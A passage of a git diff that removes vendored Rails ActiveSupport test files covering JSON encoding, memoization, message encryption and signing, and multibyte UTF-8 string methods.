-        ActiveSupport.escape_html_entities_in_json  = class_tests !~ /^Standard/
-        ActiveSupport.use_standard_json_time_format = class_tests =~ /^Standard/
-        self.class.const_get(class_tests).each do |pair|
-          assert_equal pair.last, ActiveSupport::JSON.encode(pair.first)
-        end
-      ensure
-        ActiveSupport.escape_html_entities_in_json  = false
-        ActiveSupport.use_standard_json_time_format = false
-      end
-    end
-  end
-
-  def test_hash_encoding
-    assert_equal %({\"a\":\"b\"}), ActiveSupport::JSON.encode(:a => :b)
-    assert_equal %({\"a\":1}),     ActiveSupport::JSON.encode('a' => 1)
-    assert_equal %({\"a\":[1,2]}), ActiveSupport::JSON.encode('a' => [1,2])
-    assert_equal %({"1":2}),       ActiveSupport::JSON.encode(1 => 2)
-
-    sorted_json = '{' + ActiveSupport::JSON.encode(:a => :b, :c => :d)[1..-2].split(',').sort.join(',') + '}'
-    assert_equal %({\"a\":\"b\",\"c\":\"d\"}), sorted_json
-  end
-
-  def test_utf8_string_encoded_properly_when_kcode_is_utf8
-    with_kcode 'UTF8' do
-      result = ActiveSupport::JSON.encode('€2.99')
-      assert_equal '"\\u20ac2.99"', result
-      assert_equal(Encoding::UTF_8, result.encoding) if result.respond_to?(:encoding)
-
-      result = ActiveSupport::JSON.encode('✎☺')
-      assert_equal '"\\u270e\\u263a"', result
-      assert_equal(Encoding::UTF_8, result.encoding) if result.respond_to?(:encoding)
-    end
-  end
-
-  def test_exception_raised_when_encoding_circular_reference
-    a = [1]
-    a << a
-    assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
-  end
-
-  def test_hash_key_identifiers_are_always_quoted
-    values = {0 => 0, 1 => 1, :_ => :_, "$" => "$", "a" => "a", :A => :A, :A0 => :A0, "A0B" => "A0B"}
-    assert_equal %w( "$" "A" "A0" "A0B" "_" "a" "0" "1" ).sort, object_keys(ActiveSupport::JSON.encode(values))
-  end
-
-  def test_hash_should_allow_key_filtering_with_only
-    assert_equal %({"a":1}), ActiveSupport::JSON.encode({'a' => 1, :b => 2, :c => 3}, :only => 'a')
-  end
-
-  def test_hash_should_allow_key_filtering_with_except
-    assert_equal %({"b":2}), ActiveSupport::JSON.encode({'foo' => 'bar', :b => 2, :c => 3}, :except => ['foo', :c])
-  end
-  
-  def test_time_to_json_includes_local_offset
-    ActiveSupport.use_standard_json_time_format = true
-    with_env_tz 'US/Eastern' do
-      assert_equal %("2005-02-01T15:15:10-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
-    end
-  ensure
-    ActiveSupport.use_standard_json_time_format = false
-  end
-
-  def test_nested_hash_with_float
-    assert_nothing_raised do
-      hash = {
-        "CHI" => {
-          :dislay_name => "chicago",
-          :latitude => 123.234
-        }
-      }
-      result = ActiveSupport::JSON.encode(hash)
-    end
-  end
-
-  protected
-
-    def object_keys(json_object)
-      json_object[1..-2].scan(/([^{}:,\s]+):/).flatten.sort
-    end
-    
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-end
-
-class JsonOptionsTests < Test::Unit::TestCase
-  # The json extension passes internal state to to_json
-  def test_non_hash_options_should_be_tolerated
-    faux_internal_state_object = Object.new
-
-    value = Object.new
-    def value.to_json(options) options end
-
-    assert_kind_of Hash, ActiveSupport::JSON.encode(value, faux_internal_state_object)
-  end
-
-  def test_enumerable_should_passthrough_options_to_elements
-    json_options = { :include => :posts }
-    ActiveSupport::JSON.expects(:encode).with(1, json_options)
-    ActiveSupport::JSON.expects(:encode).with(2, json_options)
-    ActiveSupport::JSON.expects(:encode).with('foo', json_options)
-
-    [1, 2, 'foo'].to_json(json_options)
-  end
-end
diff --git a/vendor/rails/activesupport/test/memoizable_test.rb b/vendor/rails/activesupport/test/memoizable_test.rb
deleted file mode 100644
index 105bb6ec..00000000
--- a/vendor/rails/activesupport/test/memoizable_test.rb
+++ /dev/null
@@ -1,261 +0,0 @@
-require 'abstract_unit'
-
-class MemoizableTest < Test::Unit::TestCase
-  class Person
-    extend ActiveSupport::Memoizable
-
-    attr_reader :name_calls, :age_calls, :is_developer_calls
-
-    def initialize
-      @name_calls = 0
-      @age_calls = 0
-      @is_developer_calls = 0
-    end
-
-    def name
-      @name_calls += 1
-      "Josh"
-    end
-
-    def name?
-      true
-    end
-    memoize :name?
-
-    def update(name)
-      "Joshua"
-    end
-    memoize :update
-
-    def age
-      @age_calls += 1
-      nil
-    end
-
-    memoize :name, :age
-
-    protected
-
-    def memoize_protected_test
-      'protected'
-    end
-    memoize :memoize_protected_test
-
-    private
-
-    def is_developer?
-      @is_developer_calls += 1
-      "Yes"
-    end
-    memoize :is_developer?
-  end
-
-  class Company
-    attr_reader :name_calls
-    def initialize
-      @name_calls = 0
-    end
-
-    def name
-      @name_calls += 1
-      "37signals"
-    end
-  end
-
-  module Rates
-    extend ActiveSupport::Memoizable
-
-    attr_reader :sales_tax_calls
-    def sales_tax(price)
-      @sales_tax_calls ||= 0
-      @sales_tax_calls += 1
-      price * 0.1025
-    end
-    memoize :sales_tax
-  end
-
-  class Calculator
-    extend ActiveSupport::Memoizable
-    include Rates
-
-    attr_reader :fib_calls
-    def initialize
-      @fib_calls = 0
-    end
-
-    def fib(n)
-      @fib_calls += 1
-
-      if n == 0 || n == 1
-        n
-      else
-        fib(n - 1) + fib(n - 2)
-      end
-    end
-    memoize :fib
-
-    def counter
-      @count ||= 0
-      @count += 1
-    end
-    memoize :counter
-  end
-
-  def setup
-    @person = Person.new
-    @calculator = Calculator.new
-  end
-
-  def test_memoization
-    assert_equal "Josh", @person.name
-    assert_equal 1, @person.name_calls
-
-    3.times { assert_equal "Josh", @person.name }
-    assert_equal 1, @person.name_calls
-  end
-
-  def test_memoization_with_punctuation
-    assert_equal true, @person.name?
-
-    assert_nothing_raised(NameError) do
-      @person.memoize_all
-      @person.unmemoize_all
-    end
-  end
-
-  def test_memoization_with_nil_value
-    assert_equal nil, @person.age
-    assert_equal 1, @person.age_calls
-
-    3.times { assert_equal nil, @person.age }
-    assert_equal 1, @person.age_calls
-  end
-
-  def test_memorized_results_are_immutable
-    assert_equal "Josh", @person.name
-    assert_raise(ActiveSupport::FrozenObjectError) { @person.name.gsub!("Josh", "Gosh") }
-  end
-
-  def test_reloadable
-    counter = @calculator.counter
-    assert_equal 1, @calculator.counter
-    assert_equal 2, @calculator.counter(:reload)
-    assert_equal 2, @calculator.counter
-    assert_equal 3, @calculator.counter(true)
-    assert_equal 3, @calculator.counter
-  end
-
-  def test_flush_cache
-    assert_equal 1, @calculator.counter
-
-    assert @calculator.instance_variable_get(:@_memoized_counter).any?
-    @calculator.flush_cache(:counter)
-    assert @calculator.instance_variable_get(:@_memoized_counter).empty?
-
-    assert_equal 2, @calculator.counter
-  end
-
-  def test_unmemoize_all
-    assert_equal 1, @calculator.counter
-
-    assert @calculator.instance_variable_get(:@_memoized_counter).any?
-    @calculator.unmemoize_all
-    assert @calculator.instance_variable_get(:@_memoized_counter).empty?
-
-    assert_equal 2, @calculator.counter
-  end
-
-  def test_memoize_all
-    @calculator.memoize_all
-    assert @calculator.instance_variable_defined?(:@_memoized_counter)
-  end
-
-  def test_memoization_cache_is_different_for_each_instance
-    assert_equal 1, @calculator.counter
-    assert_equal 2, @calculator.counter(:reload)
-    assert_equal 1, Calculator.new.counter
-  end
-
-  def test_memoized_is_not_affected_by_freeze
-    @person.freeze
-    assert_equal "Josh", @person.name
-    assert_equal "Joshua", @person.update("Joshua")
-  end
-
-  def test_memoization_with_args
-    assert_equal 55, @calculator.fib(10)
-    assert_equal 11, @calculator.fib_calls
-  end
-
-  def test_reloadable_with_args
-    assert_equal 55, @calculator.fib(10)
-    assert_equal 11, @calculator.fib_calls
-    assert_equal 55, @calculator.fib(10, :reload)
-    assert_equal 12, @calculator.fib_calls
-    assert_equal 55, @calculator.fib(10, true)
-    assert_equal 13, @calculator.fib_calls
-  end
-
-  def test_object_memoization
-    [Company.new, Company.new, Company.new].each do |company|
-      company.extend ActiveSupport::Memoizable
-      company.memoize :name
-
-      assert_equal "37signals", company.name
-      assert_equal 1, company.name_calls
-      assert_equal "37signals", company.name
-      assert_equal 1, company.name_calls
-    end
-  end
-
-  def test_memoized_module_methods
-    assert_equal 1.025, @calculator.sales_tax(10)
-    assert_equal 1, @calculator.sales_tax_calls
-    assert_equal 1.025, @calculator.sales_tax(10)
-    assert_equal 1, @calculator.sales_tax_calls
-    assert_equal 2.5625, @calculator.sales_tax(25)
-    assert_equal 2, @calculator.sales_tax_calls
-  end
-
-  def test_object_memoized_module_methods
-    company = Company.new
-    company.extend(Rates)
-
-    assert_equal 1.025, company.sales_tax(10)
-    assert_equal 1, company.sales_tax_calls
-    assert_equal 1.025, company.sales_tax(10)
-    assert_equal 1, company.sales_tax_calls
-    assert_equal 2.5625, company.sales_tax(25)
-    assert_equal 2, company.sales_tax_calls
-  end
-
-  def test_double_memoization
-    assert_raise(RuntimeError) { Person.memoize :name }
-    person = Person.new
-    person.extend ActiveSupport::Memoizable
-    assert_raise(RuntimeError) { person.memoize :name }
-
-    company = Company.new
-    company.extend ActiveSupport::Memoizable
-    company.memoize :name
-    assert_raise(RuntimeError) { company.memoize :name }
-  end
-
-  def test_protected_method_memoization
-    person = Person.new
-
-    assert_raise(NoMethodError) { person.memoize_protected_test }
-    assert_equal "protected", person.send(:memoize_protected_test)
-  end
-
-  def test_private_method_memoization
-    person = Person.new
-
-    assert_raise(NoMethodError) { person.is_developer? }
-    assert_equal "Yes", person.send(:is_developer?)
-    assert_equal 1, person.is_developer_calls
-    assert_equal "Yes", person.send(:is_developer?)
-    assert_equal 1, person.is_developer_calls
-  end
-
-end
diff --git a/vendor/rails/activesupport/test/message_encryptor_test.rb b/vendor/rails/activesupport/test/message_encryptor_test.rb
deleted file mode 100644
index 1e16c9ea..00000000
--- a/vendor/rails/activesupport/test/message_encryptor_test.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-require 'abstract_unit'
-
-begin
-  require 'openssl'
-  OpenSSL::Digest::SHA1
-rescue LoadError, NameError
-  $stderr.puts "Skipping MessageEncryptor test: broken OpenSSL install"
-else
-
-class MessageEncryptorTest < Test::Unit::TestCase
-  def setup
-    @encryptor = ActiveSupport::MessageEncryptor.new(ActiveSupport::SecureRandom.hex(64))
-    @data = {:some=>"data", :now=>Time.now}
-  end
-  
-  def test_simple_round_tripping
-    message = @encryptor.encrypt(@data)
-    assert_equal @data, @encryptor.decrypt(message)
-  end
-  
-  def test_encrypting_twice_yields_differing_cipher_text
-    first_messqage = @encryptor.encrypt(@data)
-    second_message = @encryptor.encrypt(@data)
-    assert_not_equal first_messqage, second_message
-  end
-  
-  def test_messing_with_either_value_causes_failure
-    text, iv = @encryptor.encrypt(@data).split("--")
-    assert_not_decrypted([iv, text] * "--")
-    assert_not_decrypted([text, munge(iv)] * "--")
-    assert_not_decrypted([munge(text), iv] * "--")
-    assert_not_decrypted([munge(text), munge(iv)] * "--")
-  end
-  
-  def test_signed_round_tripping
-    message = @encryptor.encrypt_and_sign(@data)
-    assert_equal @data, @encryptor.decrypt_and_verify(message)
-  end
-  
-  
-  private
-    def assert_not_decrypted(value)
-      assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
-        @encryptor.decrypt(value)
-      end
-    end
-    
-    def munge(base64_string)
-      bits = ActiveSupport::Base64.decode64(base64_string)
-      bits.reverse!
-      ActiveSupport::Base64.encode64s(bits)
-    end
-end
-
-end
diff --git a/vendor/rails/activesupport/test/message_verifier_test.rb b/vendor/rails/activesupport/test/message_verifier_test.rb
deleted file mode 100644
index 95a57de2..00000000
--- a/vendor/rails/activesupport/test/message_verifier_test.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-require 'abstract_unit'
-
-class MessageVerifierTest < Test::Unit::TestCase
-  def setup
-    @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
-    @data = {:some=>"data", :now=>Time.now}
-  end
-  
-  def test_simple_round_tripping
-    message = @verifier.generate(@data)
-    assert_equal @data, @verifier.verify(message)
-  end
-  
-  def test_missing_signature_raises
-    assert_not_verified(nil)
-    assert_not_verified("")
-  end
-
-  def test_tampered_data_raises
-    data, hash = @verifier.generate(@data).split("--")
-    assert_not_verified("#{data.reverse}--#{hash}")
-    assert_not_verified("#{data}--#{hash.reverse}")
-    assert_not_verified("purejunk")
-  end
-  
-  def assert_not_verified(message)
-    assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
-      @verifier.verify(message)
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/multibyte_chars_test.rb b/vendor/rails/activesupport/test/multibyte_chars_test.rb
deleted file mode 100644
index 98dcfbd4..00000000
--- a/vendor/rails/activesupport/test/multibyte_chars_test.rb
+++ /dev/null
@@ -1,606 +0,0 @@
-# encoding: utf-8
-
-require 'abstract_unit'
-require 'multibyte_test_helpers'
-
-class String
-  def __method_for_multibyte_testing_with_integer_result; 1; end
-  def __method_for_multibyte_testing; 'result'; end
-  def __method_for_multibyte_testing!; 'result'; end
-end
-
-class MultibyteCharsTest < Test::Unit::TestCase
-  include MultibyteTestHelpers
-
-  def setup
-    @proxy_class = ActiveSupport::Multibyte::Chars
-    @chars = @proxy_class.new UNICODE_STRING
-  end
-
-  def test_wraps_the_original_string
-    assert_equal UNICODE_STRING, @chars.to_s
-    assert_equal UNICODE_STRING, @chars.wrapped_string
-  end
-
-  def test_should_allow_method_calls_to_string
-    assert_nothing_raised do
-      @chars.__method_for_multibyte_testing
-    end
-    assert_raise NoMethodError do
-      @chars.__unknown_method
-    end
-  end
-
-  def test_forwarded_method_calls_should_return_new_chars_instance
-    assert @chars.__method_for_multibyte_testing.kind_of?(@proxy_class)
-    assert_not_equal @chars.object_id, @chars.__method_for_multibyte_testing.object_id
-  end
-
-  def test_forwarded_bang_method_calls_should_return_the_original_chars_instance
-    assert @chars.__method_for_multibyte_testing!.kind_of?(@proxy_class)
-    assert_equal @chars.object_id, @chars.__method_for_multibyte_testing!.object_id
-  end
-
-  def test_methods_are_forwarded_to_wrapped_string_for_byte_strings
-    assert_equal BYTE_STRING.class, BYTE_STRING.mb_chars.class
-  end
-
-  def test_forwarded_method_with_non_string_result_should_be_returned_vertabim
-    assert_equal ''.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result
-  end
-
-  def test_should_concatenate
-    assert_equal 'ab', 'a'.mb_chars + 'b'
-    assert_equal 'ab', 'a' + 'b'.mb_chars
-    assert_equal 'ab', 'a'.mb_chars + 'b'.mb_chars
-
-    assert_equal 'ab', 'a'.mb_chars << 'b'
-    assert_equal 'ab', 'a' << 'b'.mb_chars
-    assert_equal 'ab', 'a'.mb_chars << 'b'.mb_chars
-  end
-
-  def test_consumes_utf8_strings
-    assert @proxy_class.consumes?(UNICODE_STRING)
-    assert @proxy_class.consumes?(ASCII_STRING)
-    assert !@proxy_class.consumes?(BYTE_STRING)
-  end
-
-  def test_unpack_utf8_strings
-    assert_equal 4, @proxy_class.u_unpack(UNICODE_STRING).length
-    assert_equal 5, @proxy_class.u_unpack(ASCII_STRING).length
-  end
-
-  def test_unpack_raises_encoding_error_on_broken_strings
-    assert_raise(ActiveSupport::Multibyte::EncodingError) do
-      @proxy_class.u_unpack(BYTE_STRING)
-    end
-  end
-
-  if RUBY_VERSION < '1.9'
-    def test_concatenation_should_return_a_proxy_class_instance
-      assert_equal ActiveSupport::Multibyte.proxy_class, ('a'.mb_chars + 'b').class
-      assert_equal ActiveSupport::Multibyte.proxy_class, ('a'.mb_chars << 'b').class
-    end
-
-    def test_ascii_strings_are_treated_at_utf8_strings
-      assert_equal ActiveSupport::Multibyte.proxy_class, ASCII_STRING.mb_chars.class
-    end
-
-    def test_concatenate_should_return_proxy_instance
-      assert(('a'.mb_chars + 'b').kind_of?(@proxy_class))
-      assert(('a'.mb_chars + 'b'.mb_chars).kind_of?(@proxy_class))
-      assert(('a'.mb_chars << 'b').kind_of?(@proxy_class))
-      assert(('a'.mb_chars << 'b'.mb_chars).kind_of?(@proxy_class))
-    end
-  end
-end
-
-class MultibyteCharsUTF8BehaviourTest < Test::Unit::TestCase
-  include MultibyteTestHelpers
-
-  def setup
-    @chars = UNICODE_STRING.dup.mb_chars
-
-    # NEWLINE, SPACE, EM SPACE
-    @whitespace = "\n#{[32, 8195].pack('U*')}"
-
-    # Ruby 1.9 doesn't recognize EM SPACE as whitespace!
-    if @whitespace.respond_to?(:force_encoding)
-      @whitespace.slice!(2)
-      @whitespace.force_encoding(Encoding::UTF_8)
-    end
-
-    @byte_order_mark = [65279].pack('U')
-  end
-
-  if RUBY_VERSION < '1.9'
-    def test_split_should_return_an_array_of_chars_instances
-      @chars.split(//).each do |character|
-        assert character.kind_of?(ActiveSupport::Multibyte.proxy_class)
-      end
-    end
-
-    def test_indexed_insert_accepts_fixnums
-      @chars[2] = 32
-      assert_equal 'こに わ', @chars
-    end
-
-    def test_overridden_bang_methods_return_self
-      [:rstrip!, :lstrip!, :strip!, :reverse!, :upcase!, :downcase!, :capitalize!].each do |method|
-        assert_equal @chars.object_id, @chars.send(method).object_id
-      end
-    end
-
-    def test_overridden_bang_methods_change_wrapped_string
-      [:rstrip!, :lstrip!, :strip!, :reverse!, :upcase!, :downcase!].each do |method|
-        original = ' Café '
-        proxy = chars(original.dup)
-        proxy.send(method)
-        assert_not_equal original, proxy.to_s
-      end
-      proxy = chars('òu')
-      proxy.capitalize!
-      assert_equal 'Òu', proxy.to_s
-    end
-  end
-
-  if RUBY_VERSION >= '1.9'
-    def test_unicode_string_should_have_utf8_encoding
-      assert_equal Encoding::UTF_8, UNICODE_STRING.encoding
-    end
-  end
-
-  def test_identity
-    assert_equal @chars, @chars
-    assert @chars.eql?(@chars)
-    if RUBY_VERSION <= '1.9'
-      assert !@chars.eql?(UNICODE_STRING)
-    else
-      assert @chars.eql?(UNICODE_STRING)
-    end
-  end
-
-  def test_string_methods_are_chainable
-    assert chars('').insert(0, '').kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').rjust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').ljust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').center(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').rstrip.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').lstrip.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').strip.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').reverse.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars(' ').slice(0).kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').upcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').downcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').capitalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').normalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').decompose.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').compose.kind_of?(ActiveSupport::Multibyte.proxy_class)
-    assert chars('').tidy_bytes.kind_of?(ActiveSupport::Multibyte.proxy_class)
-  end
-
-  def test_should_be_equal_to_the_wrapped_string
-    assert_equal UNICODE_STRING, @chars
-    assert_equal @chars, UNICODE_STRING
-  end
-
-  def test_should_not_be_equal_to_an_other_string
-    assert_not_equal @chars, 'other'
-    assert_not_equal 'other', @chars
-  end
-
-  def test_sortability
-    words = %w(builder armor zebra).map(&:mb_chars).sort
-    assert_equal %w(armor builder zebra), words
-  end
-
-  def test_should_return_character_offset_for_regexp_matches
-    assert_nil(@chars =~ /wrong/u)
-    assert_equal 0, (@chars =~ /こ/u)
-    assert_equal 1, (@chars =~ /に/u)
-    assert_equal 3, (@chars =~ /わ/u)
-  end
-
-  def test_should_use_character_offsets_for_insert_offsets
-    assert_equal '', ''.mb_chars.insert(0, '')
-    assert_equal 'こわにちわ', @chars.insert(1, 'わ')
-    assert_equal 'こわわわにちわ', @chars.insert(2, 'わわ')
-    assert_equal 'わこわわわにちわ', @chars.insert(0, 'わ')
-    assert_equal 'わこわわわにちわ', @chars.wrapped_string if RUBY_VERSION < '1.9'
-  end
-
-  def test_insert_should_be_destructive
-    @chars.insert(1, 'わ')
-    assert_equal 'こわにちわ', @chars
-  end
-
-  def test_insert_throws_index_error
-    assert_raise(IndexError) { @chars.insert(-12, 'わ')}
-    assert_raise(IndexError) { @chars.insert(12, 'わ') }
-  end
-
-  def test_should_know_if_one_includes_the_other
-    assert @chars.include?('')
-    assert @chars.include?('ち')
-    assert @chars.include?('わ')
-    assert !@chars.include?('こちわ')
-    assert !@chars.include?('a')
-  end
-
-  def test_include_raises_type_error_when_nil_is_passed
-    assert_raise(TypeError) do
-      @chars.include?(nil)
-    end
-  end
-
-  def test_index_should_return_character_offset
-    assert_nil @chars.index('u')
-    assert_equal 0, @chars.index('こに')
-    assert_equal 2, @chars.index('ち')
-    assert_equal 2, @chars.index('ち', -2)
-    assert_equal nil, @chars.index('ち', -1)
-    assert_equal 3, @chars.index('わ')
-    assert_equal 5, 'ééxééx'.mb_chars.index('x', 4)
-  end
-
-  def test_rindex_should_return_character_offset
-    assert_nil @chars.rindex('u')
-    assert_equal 1, @chars.rindex('に')
-    assert_equal 2, @chars.rindex('ち', -2)
-    assert_nil @chars.rindex('ち', -3)
-    assert_equal 6, 'Café périferôl'.mb_chars.rindex('é')
-    assert_equal 13, 'Café périferôl'.mb_chars.rindex(/\w/u)
-  end
-
-  def test_indexed_insert_should_take_character_offsets
-    @chars[2] = 'a'
-    assert_equal 'こにaわ', @chars
-    @chars[2] = 'ηη'
-    assert_equal 'こにηηわ', @chars
-    @chars[3, 2] = 'λλλ'
-    assert_equal 'こにηλλλ', @chars
-    @chars[1, 0] = "λ"
-    assert_equal 'こλにηλλλ', @chars
-    @chars[4..6] = "ηη"
-    assert_equal 'こλにηηη', @chars
-    @chars[/ηη/] = "λλλ"
-    assert_equal 'こλにλλλη', @chars
-    @chars[/(λλ)(.)/, 2] = "α"
-    assert_equal 'こλにλλαη', @chars
-    @chars["α"] = "¢"
-    assert_equal 'こλにλλ¢η', @chars
-    @chars["λλ"] = "ααα"
-    assert_equal 'こλにααα¢η', @chars
-  end
-
-  def test_indexed_insert_should_raise_on_index_overflow
-    before = @chars.to_s
-    assert_raise(IndexError) { @chars[10] = 'a' }
-    assert_raise(IndexError) { @chars[10, 4] = 'a' }
-    assert_raise(IndexError) { @chars[/ii/] = 'a' }
-    assert_raise(IndexError) { @chars[/()/, 10] = 'a' }
-    assert_equal before, @chars
-  end
-
-  def test_indexed_insert_should_raise_on_range_overflow
-    before = @chars.to_s
-    assert_raise(RangeError) { @chars[10..12] = 'a' }
-    assert_equal before, @chars
-  end
-
-  def test_rjust_should_raise_argument_errors_on_bad_arguments
-    assert_raise(ArgumentError) { @chars.rjust(10, '') }
-    assert_raise(ArgumentError) { @chars.rjust }
-  end
-
-  def test_rjust_should_count_characters_instead_of_bytes
-    assert_equal UNICODE_STRING, @chars.rjust(-3)
-    assert_equal UNICODE_STRING, @chars.rjust(0)
-    assert_equal UNICODE_STRING, @chars.rjust(4)
-    assert_equal " #{UNICODE_STRING}", @chars.rjust(5)
-    assert_equal "   #{UNICODE_STRING}", @chars.rjust(7)
-    assert_equal "---#{UNICODE_STRING}", @chars.rjust(7, '-')
-    assert_equal "ααα#{UNICODE_STRING}", @chars.rjust(7, 'α')
-    assert_equal "aba#{UNICODE_STRING}", @chars.rjust(7, 'ab')
-    assert_equal "αηα#{UNICODE_STRING}", @chars.rjust(7, 'αη')
-    assert_equal "αηαη#{UNICODE_STRING}", @chars.rjust(8, 'αη')
-  end
-
-  def test_ljust_should_raise_argument_errors_on_bad_arguments
-    assert_raise(ArgumentError) { @chars.ljust(10, '') }
-    assert_raise(ArgumentError) { @chars.ljust }
-  end
-
-  def test_ljust_should_count_characters_instead_of_bytes
-    assert_equal UNICODE_STRING, @chars.ljust(-3)
-    assert_equal UNICODE_STRING, @chars.ljust(0)
-    assert_equal UNICODE_STRING, @chars.ljust(4)
-    assert_equal "#{UNICODE_STRING} ", @chars.ljust(5)
-    assert_equal "#{UNICODE_STRING}   ", @chars.ljust(7)
-    assert_equal "#{UNICODE_STRING}---", @chars.ljust(7, '-')
-    assert_equal "#{UNICODE_STRING}ααα", @chars.ljust(7, 'α')
-    assert_equal "#{UNICODE_STRING}aba", @chars.ljust(7, 'ab')
-    assert_equal "#{UNICODE_STRING}αηα", @chars.ljust(7, 'αη')
-    assert_equal "#{UNICODE_STRING}αηαη", @chars.ljust(8, 'αη')
-  end
-
-  def test_center_should_raise_argument_errors_on_bad_arguments
-    assert_raise(ArgumentError) { @chars.center(10, '') }
-    assert_raise(ArgumentError) { @chars.center }
-  end
-
-  def test_center_should_count_charactes_instead_of_bytes
-    assert_equal UNICODE_STRING, @chars.center(-3)
-    assert_equal UNICODE_STRING, @chars.center(0)
-    assert_equal UNICODE_STRING, @chars.center(4)
-    assert_equal "#{UNICODE_STRING} ", @chars.center(5)
-    assert_equal " #{UNICODE_STRING} ", @chars.center(6)
-    assert_equal " #{UNICODE_STRING}  ", @chars.center(7)
-    assert_equal "--#{UNICODE_STRING}--", @chars.center(8, '-')
-    assert_equal "--#{UNICODE_STRING}---", @chars.center(9, '-')
-    assert_equal "αα#{UNICODE_STRING}αα", @chars.center(8, 'α')
-    assert_equal "αα#{UNICODE_STRING}ααα", @chars.center(9, 'α')
-    assert_equal "a#{UNICODE_STRING}ab", @chars.center(7, 'ab')
-    assert_equal "ab#{UNICODE_STRING}ab", @chars.center(8, 'ab')
-    assert_equal "abab#{UNICODE_STRING}abab", @chars.center(12, 'ab')
-    assert_equal "α#{UNICODE_STRING}αη", @chars.center(7, 'αη')
-    assert_equal "αη#{UNICODE_STRING}αη", @chars.center(8, 'αη')
-  end
-
-  def test_lstrip_strips_whitespace_from_the_left_of_the_string
-    assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.lstrip
-    assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING).mb_chars.lstrip
-    assert_equal UNICODE_STRING + @whitespace, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.lstrip
-  end
-
-  def test_rstrip_strips_whitespace_from_the_right_of_the_string
-    assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.rstrip
-    assert_equal UNICODE_STRING, (UNICODE_STRING + @whitespace).mb_chars.rstrip
-    assert_equal @whitespace + UNICODE_STRING, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.rstrip
-  end
-
-  def test_strip_strips_whitespace
-    assert_equal UNICODE_STRING, UNICODE_STRING.mb_chars.strip
-    assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING).mb_chars.strip
-    assert_equal UNICODE_STRING, (UNICODE_STRING + @whitespace).mb_chars.strip
-    assert_equal UNICODE_STRING, (@whitespace + UNICODE_STRING + @whitespace).mb_chars.strip
-  end
-
-  def test_stripping_whitespace_leaves_whitespace_within_the_string_intact
-    string_with_whitespace = UNICODE_STRING + @whitespace + UNICODE_STRING
-    assert_equal string_with_whitespace, string_with_whitespace.mb_chars.strip
-    assert_equal string_with_whitespace, string_with_whitespace.mb_chars.lstrip
-    assert_equal string_with_whitespace, string_with_whitespace.mb_chars.rstrip
-  end
-
-  def test_size_returns_characters_instead_of_bytes
-    assert_equal 0, ''.mb_chars.size
-    assert_equal 4, @chars.size
-    assert_equal 4, @chars.length
-    assert_equal 5, ASCII_STRING.mb_chars.size
-  end
-
-  def test_reverse_reverses_characters
-    assert_equal '', ''.mb_chars.reverse
-    assert_equal 'わちにこ', @chars.reverse
-  end
-
-  def test_reverse_should_work_with_normalized_strings
-    str = 'bös'
-    reversed_str = 'söb'
-    assert_equal chars(reversed_str).normalize(:kc), chars(str).normalize(:kc).reverse
-    assert_equal chars(reversed_str).normalize(:c), chars(str).normalize(:c).reverse
-    assert_equal chars(reversed_str).normalize(:d), chars(str).normalize(:d).reverse
-    assert_equal chars(reversed_str).normalize(:kd), chars(str).normalize(:kd).reverse
-    assert_equal chars(reversed_str).decompose, chars(str).decompose.reverse
-    assert_equal chars(reversed_str).compose, chars(str).compose.reverse
-  end
-
-  def test_slice_should_take_character_offsets
-    assert_equal nil, ''.mb_chars.slice(0)
-    assert_equal 'こ', @chars.slice(0)
-    assert_equal 'わ', @chars.slice(3)
-    assert_equal nil, ''.mb_chars.slice(-1..1)
-    assert_equal '', ''.mb_chars.slice(0..10)
-    assert_equal 'にちわ', @chars.slice(1..3)
-    assert_equal 'にちわ', @chars.slice(1, 3)
-    assert_equal 'こ', @chars.slice(0, 1)
-    assert_equal 'ちわ', @chars.slice(2..10)
-    assert_equal '', @chars.slice(4..10)
-    assert_equal 'に', @chars.slice(/に/u)
-    assert_equal 'にち', @chars.slice(/に./u)
-    assert_equal nil, @chars.slice(/unknown/u)
-    assert_equal 'にち', @chars.slice(/(にち)/u, 1)
-    assert_equal nil, @chars.slice(/(にち)/u, 2)
-    assert_equal nil, @chars.slice(7..6)
-  end
-
-  def test_slice_bang_returns_sliced_out_substring
-    assert_equal 'にち', @chars.slice!(1..2)
-  end
-
-  def test_slice_bang_removes_the_slice_from_the_receiver
-    @chars.slice!(1..2)
-    assert_equal 'こわ', @chars
-  end
-
-  def test_slice_should_throw_exceptions_on_invalid_arguments
-    assert_raise(TypeError) { @chars.slice(2..3, 1) }
-    assert_raise(TypeError) { @chars.slice(1, 2..3) }
-    assert_raise(ArgumentError) { @chars.slice(1, 1, 1) }
-  end
-
